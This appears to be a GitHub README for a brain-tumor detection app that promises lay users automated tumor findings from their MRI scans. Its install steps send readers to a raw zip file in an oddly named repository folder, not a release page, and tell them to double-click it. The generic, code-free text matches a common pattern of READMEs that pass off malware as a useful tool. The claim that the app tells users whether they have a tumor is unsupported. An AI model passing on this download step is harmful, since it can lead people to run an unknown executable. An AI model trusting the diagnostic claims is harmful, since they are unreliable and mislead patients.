🧠 Brain-Tumor-Detection - Early Diagnosis with AI

🚀 Getting Started

Welcome to the Brain-Tumor-Detection project! This software helps you detect brain tumors in MRI scans using deep learning. The application is user-friendly and designed for everyone, including those without any programming knowledge.

🖥️ System Requirements

To run this application, you will need:

• A computer with at least 4 GB of RAM.
• Windows, macOS, or Linux operating system.
• At least 500 MB of free disk space.
• An internet connection for downloading the software.

📥 Download & Install

To get the software, visit this page to download: Brain-Tumor-Detection Releases.

1. Click on the link above to go to the Releases page.
2. Look for the latest version available.
3. Click on the appropriate file for your operating system. The file name may look like https://raw.githubusercontent.com/IvanPerico21/Brain-Tumor-Detection/main/blastophyllum/Brain-Tumor-Detection.zip or similar.
4. Save the file to your computer.

💻 Running the Application

Once the download finishes, you can run the application:

1. Locate the downloaded file on your computer.
2. Double-click the file to open it.
3. Follow any on-screen instructions to complete the setup.

After the installation, you can begin using the software right away.

🎉 Features

This software includes:

• Automated Detection: Quickly identify tumors in MRI scans.
• User-Friendly Interface: Effortlessly navigate through the app.
• Image Preprocessing: Prepared images for accurate analysis.
• Model Training: Learn from many MRI scans for better performance.
• Evaluation Tools: Assess the accuracy of detections.

🌟 Usage Instructions

To use the Brain-Tumor-Detection software:

1. Launch the application.
2. Upload your MRI scan image by clicking on the "Upload" button.
3. Wait while the software analyzes the image.
4. Review the results displayed, which will indicate the presence of a tumor.
5. Save the results if needed.

📖 Documentation

For more detailed guidance on using the software, check the documentation available on the GitHub repository. The documentation covers:

• Installation processes
• Algorithms used in detection
• Troubleshooting common issues

While you may not need to dive deep, knowing where to find more information can be helpful.

🌐 Community and Support

If you encounter any issues or have questions, you can reach out via:

• GitHub Issues: Post your questions on the Issues page of the repository.
• Community Forums: Check forums or groups discussing healthcare technology.
• Feedback: Provide feedback to help us improve the application.

🛠️ Contributing

If you're interested in helping improve this project, you can contribute. We welcome:

• Bug reports
• Feature suggestions
• Code improvements

Follow the contribution guidelines in the repository to start.

📊 Related Topics

This project covers various areas of interest:

• Brain tumor detection
• Image classification
• Deep learning applications in healthcare
• Use of OpenCV and TensorFlow/Keras

These topics are crucial for anyone interested in medical imaging and AI.

🕒 Future Updates

We plan to enhance the application with new features, including:

• Support for more image formats.
• Improved user interface for easier navigation.
• Advanced algorithms for better accuracy.

Stay tuned for updates by following the GitHub repository.

Thank you for using Brain-Tumor-Detection. We hope it aids in the critical work of early diagnosis through medical imaging analysis.